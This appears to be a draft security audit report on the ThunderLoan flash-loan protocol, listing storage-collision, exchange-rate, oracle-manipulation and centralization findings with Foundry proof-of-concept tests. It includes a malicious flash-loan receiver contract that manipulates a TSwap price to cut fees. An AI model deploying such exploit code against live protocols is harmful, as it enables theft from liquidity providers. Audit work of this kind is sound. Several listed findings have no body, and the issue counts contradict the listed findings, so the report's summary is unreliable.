Thunder Loan Audit Report

Version 0.1

Rahber Ahmed

March 31, 2025

Thunder Loan Audit Report

Rahber Ahmed

March 31,2025

Thunder Loan Audit Report

Prepared by: Rahber Ahmed

Assisting Auditors:

- None

Table of contents

See table

- High
  * [H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
  * [H-2] Unnecessary `updateExchangeRate` in `deposit` function incorrectly updates `exchangeRate` preventing withdraws and unfairly changing reward distribution
  * [H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
  * [H-4] getPriceOfOnePoolTokenInWeth uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals
- Medium
  * [M-1] Centralization risk for trusted owners
    · Impact:
    · Contralized owners can brick redemptions by disapproving of a specific token
  * [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
  * [M-4] Fee on transfer, rebase, etc
- Low
  * [L-1] Empty Function Body - Consider commenting why
  * [L-2] Initializers could be front-run
  * [L-3] Missing critial event emissions
- Informational
  * [I-1] Poor Test Coverage
  * [I-2] Not using `__gap[50]` for future storage collision mitigation
  * [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
  * [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156
- Gas
  * [GAS-1] Using bools for storage incurs overhead
  * [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas
  * [GAS-3] Unnecessary SLOAD when logging new exchange rate

Disclaimer

The Rahber Ahmed team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

The **ThunderLoan** protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

1. **Storage collision:** in upgrades misaligns mappings, corrupting fees—fix by maintaining storage order.

2. **Incorrect exchange rate updates:** block redemptions and distort rewards—fix by removing faulty update logic.

3. **Flash loan exploit:** allows attackers to drain liquidity—fix by restricting deposits from flash-loaned funds.

4. **Oracle manipulation:** via TSwap miscalculates prices, enabling fee exploits—fix by using a robust oracle system.

5. **Centralized ownership risk:** lets admins control tokens unilaterally—fix by implementing multi-signature governance.

Issues found

Severity	Number of issues found
High	2

Severity	Number of issues found
Medium	2
Low	3
Info	1
Gas	2
Total	10

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
```

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] The `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does,which blocks redemption and incorrectly sets the exchange rate

Description: In the `deposit` function the `updateExchangeRate` is responsible to update rate of exchange between an assetToken and an underlying tokens such as USDC.In a way it is responsible to keep track of how many fees is given to liquidity providers. However, the `deposit` updates the state without collecting any fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        @audit-High: this block of code updates exchangerate but does
            not deposit it to the protocol.
```

```
        uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are following impacts to this bug. 1. The `redeem` function is blocked,the protocol thinks it has more owed tokens than it has. 2. Rewards are incorrectly calculated,leading to liquidity providers potentially receiving way more or less than they deserve.

Proof of Concept: 1. liquidity providers deposits the token(USDC) 2. Users take flash loans 3. Now it is impossible for liquidity providers to get back their tokens.

Code

Place the following into `ThunderLoan.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits{
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        vm.prank(liquidityProvider);
        thunderLoan.redeem(tokenA,type(uint256).max);


    }
```

Recommended Mitigation: Remove incorrectly updating line of code

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        @audit-High: this block of code updates exchangerate but does not deposit it to the protocol.
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
```

```
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
}
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

[H-4] getPriceOfOnePoolTokenInWeth uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically get reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

        ```
        function getPriceInWeth(address token) public view returns (uint256) {
         address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
        @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
        }
        ```
    3. The user then repays the first flash loan, and then repays the second flash loan.

Code

```
function testOracleManipulation() public {
        //1. set up contracts
        ThunderLoan thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)); //one asset is always fixed as weth
        //here we are creating pool of weth/tokenA
        address tSwapPool = pf.createPool(address(tokenA)); //weth vs tokenA pool creation
        thunderLoan = ThunderLoan(address(proxy)); //setting proxy instance of thunderloan
        thunderLoan.initialize(address(pf)); //giving thunderloan the DEX to fetch price of weth

        //2.Fund Tswap
        vm.startPrank(liquidityProvider); //liquidity provider is msg.sender
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT); //tokenA minted to liquidity provider
        tokenA.approve(address(tSwapPool), DEPOSIT_AMOUNT); //tokenA approved to tSwapPool by liquidity provider
        weth.mint(liquidityProvider, DEPOSIT_AMOUNT); //weth minted to liquidity provider
        weth.approve(address(tSwapPool), DEPOSIT_AMOUNT); //weth approved to tSwapPool
        BuffMockTSwap(tSwapPool).deposit(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT, DEPOSIT_AMOUNT, block.timestamp); //weth,tokenA,amouttoMintLiquidityToken
```

```
            // and timestamp
        vm.stopPrank();
        //currently the ratio of weth/tokenA is 1:1 in the tSwapPool
            which also act as DEX for our ThunderLoan protocol
        //so the price is 1:1 same

        //3.fund thunderloan
        vm.prank(thunderLoan.owner()); //owner of thunderloan is going
            to make call to allow tokenA to be accepted in
            // the protocol
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider); //followings steps are just
            funding thunderloan
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);

        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        //now we have 100 weth and 100 tokenA in tSwapPool and 1000
            tokenA in thunderloan
        //which means tSwapPool has equal ratio
        //now we take out flashloan of 50 tokenA from thunderloan and
            swap it in DEX ie TswapPool
        //before swap 100*100=10_000
        //after swap tokenA =150 and weth=10000/150=66.67(approx)
        //now new PRICE WETH=tokenA reserves/weth reserves
            =150/66.67=2.25 tokenA
        //take out ANOTHER 50 tokenA flash loan and see what happens

        //4. now we are going to take out 2 flash loans
        //   a. to nuke the price of weth/tokenA
        //   b. by doing so we will prove that fee can be reduced on
            thunderloan

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("normalFeeCost: ", normalFeeCost);
        // 0.296147410319118389 weth fees

        //first flash loan
        MaliciousFlashLoanReceiver flr=new MaliciousFlashLoanReceiver(
            address(thunderLoan),address(tSwapPool),address(thunderLoan.
            getAssetFromToken(tokenA)));
        vm.startPrank(user);
        tokenA.mint(address(flr),100e18);
        //tokenA.approve(address(flr),50e18);
        thunderLoan.flashloan(address(flr),tokenA,50e18,"");
        vm.stopPrank();
        uint256 attackFee=flr.feeOne()+flr.feeTwo();
        console2.log("attackFee: ",attackFee);
```

```
        assert(attackFee<normalFeeCost);
    }
    //now we have to deploy malicious contract to take out flash loan and see how it manipulates the fee
    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    //1. We have to take flash loan
    //2. swap it in DEX TSwapPool
    //3. repay the loan back to thunderLoan
    ThunderLoan thunderLoan;
    BuffMockTSwap tswapPool;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;
    bool attacked;

    constructor(address _thunderLoan, address _tswapPool, address _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if(!attacked){
        //1. take flash loan
        //2. swap in dex
        //3.take another flash loan
        feeOne=fee;
        uint256 wethBought=tswapPool.getOutputAmountBasedOnInput(50e18,100e18,100e18);
        IERC20(token).approve(address(tswapPool),50e18);
        tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,wethBought,block.timestamp);
        attacked=true;
        thunderLoan.flashloan(address(this),IERC20(token),amount,"");

        IERC20(token).transfer(address(repayAddress),amount+fee);

        }else{
        //4.pay back flash loan
        //calculate the fee and return fee+amountborrowed

```

```
            IERC20(token).transfer(address(repayAddress),amount+fee);

        }
        return true;


    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-4] Fee on transfer, rebase, etc

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

```

```
139:            __Ownable_init();

140:            __UUPSUpgradeable_init();

141:            __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches     | % Funcs        |
| --------------------------------- | -------------- | --------------
    | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0)  | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16)  | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```